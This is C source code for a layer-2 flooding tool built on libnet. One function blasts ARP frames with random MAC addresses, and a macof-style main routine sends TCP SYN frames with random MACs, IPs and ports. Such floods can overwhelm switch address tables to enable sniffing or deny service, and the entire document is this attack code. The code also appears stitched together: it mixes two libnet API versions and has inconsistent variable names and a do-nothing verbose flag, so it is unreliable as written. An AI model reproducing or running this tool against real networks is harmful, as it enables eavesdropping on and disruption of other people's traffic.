void *macflood(void *n) { int32_t i,c; u_char smaca[ETHER_ADDR_LEN], dmaca[ETHER_ADDR_LEN]; libnet_t *llif; char ebuf[PCAP_ERRBUF_SIZE]; libnet_ptag_t pkt; u_int8_t *packet; u_int32_t packet_s; for(i=0; i != *(int32_t *)n; ++i) { // initiliaze libnet context if((llif=libnet_init(LIBNET_LINK_ADV, intf, ebuf))==NULL) errx(1, "%s", ebuf); // Initialize Randomgenerator libnet_seed_prand(llif); // Generate random source mac gen_mac(smaca); gen_mac(dmaca); //build ARP if ((pkt = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REQUEST, /* operation type */ empty_mac, /* sender hardware addr */ (u_int8_t *)&empty_ip, /* sender protocol addr */ empty_mac, (u_int8_t *)&empty_ip, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ llif, /* libnet context */ 0))==-1) /* libnet id */ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(llif)); // Build ethernet if ((pkt = libnet_build_ethernet( dmaca, /* ethernet destination */ smaca, /* source macadress */ ETHERTYPE_ARP, /* protocol type */ NULL, /* Payload */ 0, /* length of payload*/ llif, /* libnet id */ 0))==-1) /* ptag */ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(llif)); if (libnet_adv_cull_packet(llif, &packet, &packet_s) == -1) fprintf(stderr, "%s", libnet_geterror(llif)); // Write package to wire if ((c = libnet_write(llif))==-1) errx(1, "Write error: %s\n", libnet_geterror(llif)); if(verbose) fprintf(stderr, "SRC-MAC: %x:%x:%x:%x:%x:%x |" "DST-MAC: %x:%x:%x:%x:%x:%x\n", smaca[0],smaca[1],smaca[2],smaca[3],smaca[4],smaca[5], dmaca[0], dmaca[1], dmaca[2], dmaca[3], dmaca[4], dmaca[5]); libnet_destroy(llif); } fprintf(stderr, "%d Packages sent.\n", *(int32_t *)n); }
int main(int argc, char *argv[]) { extern char *optarg; extern int optind; int c, i; struct libnet_link_int *llif; char ebuf[PCAP_ERRBUF_SIZE]; u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN]; in_addr_t src, dst; u_short sport, dport; u_int32_t seq; u_char pkt[ETH_H + IP_H + TCP_H]; while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) { switch (c) { case 'v': break; case 's': Src = libnet_name_resolve(optarg, 0); break; case 'd': Dst = libnet_name_resolve(optarg, 0); break; case 'e': Tha = (u_char *)ether_aton(optarg); break; case 'x': Sport = atoi(optarg); break; case 'y': Dport = atoi(optarg); break; case 'i': Intf = optarg; break; case 'n': Repeat = atoi(optarg); break; default: usage(); } } argc -= optind; argv += optind; if (argc != 0) usage(); if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL) errx(1, "%s", ebuf); if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0) errx(1, "%s", ebuf); libnet_seed_prand(); for (i = 0; i != Repeat; i++) { gen_mac(sha); if (Tha == NULL) gen_mac(tha); else memcpy(tha, Tha, sizeof(tha)); if (Src != 0) src = Src; else src = libnet_get_prand(PRu32); if (Dst != 0) dst = Dst; else dst = libnet_get_prand(PRu32); if (Sport != 0) sport = Sport; else sport = libnet_get_prand(PRu16); if (Dport != 0) dport = Dport; else dport = libnet_get_prand(PRu16); seq = libnet_get_prand(PRu32); libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt); libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64, IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H); libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512, 0, NULL, 0, pkt + ETH_H + IP_H); libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H); libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H); if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0) errx(1, "write"); fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha)); fprintf(stderr, "%s %s.%d > %s.%d: S %u:%u(0) win 512\n", ether_ntoa((struct ether_addr *)tha), libnet_host_lookup(Src, 0), sport, libnet_host_lookup(Dst, 0), dport, seq, seq); } exit(0); }